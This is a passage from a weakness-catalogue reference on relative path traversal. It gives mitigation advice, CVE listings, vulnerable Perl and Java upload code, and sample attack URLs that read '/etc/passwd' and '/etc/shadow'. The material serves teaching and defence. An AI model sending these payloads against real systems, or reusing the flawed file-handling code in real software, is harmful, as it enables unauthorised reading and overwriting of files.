Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which

effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs\_path() in Perl realpath() in PHP

## Demonstrative Examples

### Example 1:

The following URLs are vulnerable to this attack:

*Example Language:*

*(Bad)*

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

*Example Language:*

*(Attack)*

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

### Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

*Example Language: Perl*

*(Bad)*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Example Language:*

*(Result)*

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../../" during path canonicalization and actually accesses this file:

*Example Language:*

*(Result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

### Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

*Example Language: HTML*

*(Good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

*Example Language: Java*

*(Bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `"../"` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

Reference	Description
<b>CVE-2019-20916</b>	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as <code>"../"</code> <a href="https://www.cve.org/CVERecord?id=CVE-2019-20916">https://www.cve.org/CVERecord?id=CVE-2019-20916</a>
<b>CVE-2022-24877</b>	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via <code>../</code> sequences in a yaml file <a href="https://www.cve.org/CVERecord?id=CVE-2022-24877">https://www.cve.org/CVERecord?id=CVE-2022-24877</a>
<b>CVE-2020-4053</b>	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory <a href="https://www.cve.org/CVERecord?id=CVE-2020-4053">https://www.cve.org/CVERecord?id=CVE-2020-4053</a>
<b>CVE-2021-21972</b>	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses <code>..</code> path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21972">https://www.cve.org/CVERecord?id=CVE-2021-21972</a>
<b>CVE-2019-10743</b>	Go-based archive library allows extraction of files to locations outside of the target folder with <code>"../"</code> path traversal sequences in filenames in a zip file, aka "Zip Slip" <a href="https://www.cve.org/CVERecord?id=CVE-2019-10743">https://www.cve.org/CVERecord?id=CVE-2019-10743</a>
<b>CVE-2002-0298</b>	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a <code>%2e%2e</code> (encoded dot-dot), several <code>"../"</code> sequences, or several <code>".."</code> in a URI. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0298">https://www.cve.org/CVERecord?id=CVE-2002-0298</a>
<b>CVE-2002-0661</b>	<code>"\"</code> not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0661">https://www.cve.org/CVERecord?id=CVE-2002-0661</a>
<b>CVE-2002-0946</b>	Arbitrary files may be read files via <code>..\</code> (dot dot) sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0946">https://www.cve.org/CVERecord?id=CVE-2002-0946</a>
<b>CVE-2002-1042</b>	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via <code>"..\\"</code> sequences in queries. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1042">https://www.cve.org/CVERecord?id=CVE-2002-1042</a>
<b>CVE-2002-1209</b>	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via <code>"..\\"</code> sequences in a GET request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1209">https://www.cve.org/CVERecord?id=CVE-2002-1209</a>
<b>CVE-2002-1178</b>	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via <code>"..\\"</code> sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1178">https://www.cve.org/CVERecord?id=CVE-2002-1178</a>
<b>CVE-2002-1987</b>	Protection mechanism checks for <code>"/.."</code> but doesn't account for Windows-specific <code>"\"</code> allowing read of arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1987">https://www.cve.org/CVERecord?id=CVE-2002-1987</a>
<b>CVE-2005-2142</b>	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a <code>"\"</code> sequence in an LS command. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2142">https://www.cve.org/CVERecord?id=CVE-2005-2142</a>

Reference	Description
<b>CVE-2002-0160</b>	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0160">https://www.cve.org/CVERecord?id=CVE-2002-0160</a>
<b>CVE-2001-0467</b>	"\" in web server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0467">https://www.cve.org/CVERecord?id=CVE-2001-0467</a>
<b>CVE-2001-0963</b>	"...\" in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0963">https://www.cve.org/CVERecord?id=CVE-2001-0963</a>
<b>CVE-2001-1193</b>	"...\" in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-1193">https://www.cve.org/CVERecord?id=CVE-2001-1193</a>
<b>CVE-2001-1131</b>	"...\" in cd command in FTP server <a href="https://www.cve.org/CVERecord?id=CVE-2001-1131">https://www.cve.org/CVERecord?id=CVE-2001-1131</a>
<b>CVE-2001-0480</b>	read of arbitrary files and directories using GET or CD with "...\" in Windows-based FTP server. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0480">https://www.cve.org/CVERecord?id=CVE-2001-0480</a>
<b>CVE-2002-0288</b>	read files using "." and Unicode-encoded "/" or "\" characters in the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0288">https://www.cve.org/CVERecord?id=CVE-2002-0288</a>
<b>CVE-2003-0313</b>	Directory listing of web server using "...\" <a href="https://www.cve.org/CVERecord?id=CVE-2003-0313">https://www.cve.org/CVERecord?id=CVE-2003-0313</a>
<b>CVE-2005-1658</b>	Triple dot <a href="https://www.cve.org/CVERecord?id=CVE-2005-1658">https://www.cve.org/CVERecord?id=CVE-2005-1658</a>
<b>CVE-2000-0240</b>	read files via "/.....\" in URL <a href="https://www.cve.org/CVERecord?id=CVE-2000-0240">https://www.cve.org/CVERecord?id=CVE-2000-0240</a>
<b>CVE-2000-0773</b>	read files via "....\" in web server <a href="https://www.cve.org/CVERecord?id=CVE-2000-0773">https://www.cve.org/CVERecord?id=CVE-2000-0773</a>
<b>CVE-1999-1082</b>	read files via ".....\" in web server (doubled triple dot?) <a href="https://www.cve.org/CVERecord?id=CVE-1999-1082">https://www.cve.org/CVERecord?id=CVE-1999-1082</a>
<b>CVE-2004-2121</b>	read files via ".....\" in web server (doubled triple dot?) <a href="https://www.cve.org/CVERecord?id=CVE-2004-2121">https://www.cve.org/CVERecord?id=CVE-2004-2121</a>
<b>CVE-2001-0491</b>	multiple attacks using "..\", "...\", and "....\" in different commands <a href="https://www.cve.org/CVERecord?id=CVE-2001-0491">https://www.cve.org/CVERecord?id=CVE-2001-0491</a>
<b>CVE-2001-0615</b>	"...\" or "....\" in chat server <a href="https://www.cve.org/CVERecord?id=CVE-2001-0615">https://www.cve.org/CVERecord?id=CVE-2001-0615</a>
<b>CVE-2005-2169</b>	chain: ".../.../\" bypasses protection mechanism using regexp's that remove ".../\" resulting in collapse into an unsafe value ".../\" (CWE-182) and resultant path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2169">https://www.cve.org/CVERecord?id=CVE-2005-2169</a>
<b>CVE-2005-0202</b>	".../.../\" bypasses regexp's that remove ".../\" and ".../\" <a href="https://www.cve.org/CVERecord?id=CVE-2005-0202">https://www.cve.org/CVERecord?id=CVE-2005-0202</a>
<b>CVE-2004-1670</b>	Mail server allows remote attackers to create arbitrary directories via a "...\" or rename arbitrary files via a ".../\" in user supplied parameters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1670">https://www.cve.org/CVERecord?id=CVE-2004-1670</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Relative Path Traversal
Software Fault Patterns	SFP16		Path Traversal

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
76	Manipulating Web Input to File System Calls
139	Relative Path Traversal

### References

[REF-192]OWASP. "OWASP Attack listing". < [http://www.owasp.org/index.php/Relative\\_Path\\_Traversal](http://www.owasp.org/index.php/Relative_Path_Traversal) >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1282]Snyk. "Zip Slip Vulnerability". 2018 June 5. < <https://security.snyk.io/research/zip-slip-vulnerability> >.

## CWE-24: Path Traversal: '../filedir'

**Weakness ID** : 24

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences



Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'../filedir
Software Fault Patterns	SFP16		Path Traversal

## CWE-25: Path Traversal: '/../filedir'

Weakness ID : 25

**Structure** : Simple  
**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "../" can bypass that check.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a

directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'../../filedir
Software Fault Patterns	SFP16		Path Traversal

## CWE-26: Path Traversal: '/dir/../../filename'

**Weakness ID** : 26

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../../filename" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "../" can bypass that check.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/directory/../filename
Software Fault Patterns	SFP16		Path Traversal

## CWE-27: Path Traversal: 'dir/../../filename'

**Weakness ID** : 27**Structure** : Simple**Abstraction** : Variant

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory

separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**Observed Examples**

Reference	Description
<b>CVE-2002-0298</b>	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "../" sequences, or several "../" in a URI. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0298">https://www.cve.org/CVERecord?id=CVE-2002-0298</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'directory/../../filename
Software Fault Patterns	SFP16		Path Traversal

**CWE-28: Path Traversal: '..\filedir'**

**Weakness ID :** 28  
**Structure :** Simple  
**Abstraction :** Variant

**Description**

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

CWE-28: Path Traversal: '..\filedir'



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	44

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2002-0661</b>	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0661">https://www.cve.org/CVERecord?id=CVE-2002-0661</a>
<b>CVE-2002-0946</b>	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0946">https://www.cve.org/CVERecord?id=CVE-2002-0946</a>
<b>CVE-2002-1042</b>	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1042">https://www.cve.org/CVERecord?id=CVE-2002-1042</a>
<b>CVE-2002-1209</b>	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1209">https://www.cve.org/CVERecord?id=CVE-2002-1209</a>
<b>CVE-2002-1178</b>	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1178">https://www.cve.org/CVERecord?id=CVE-2002-1178</a>

### MemberOf Relationships

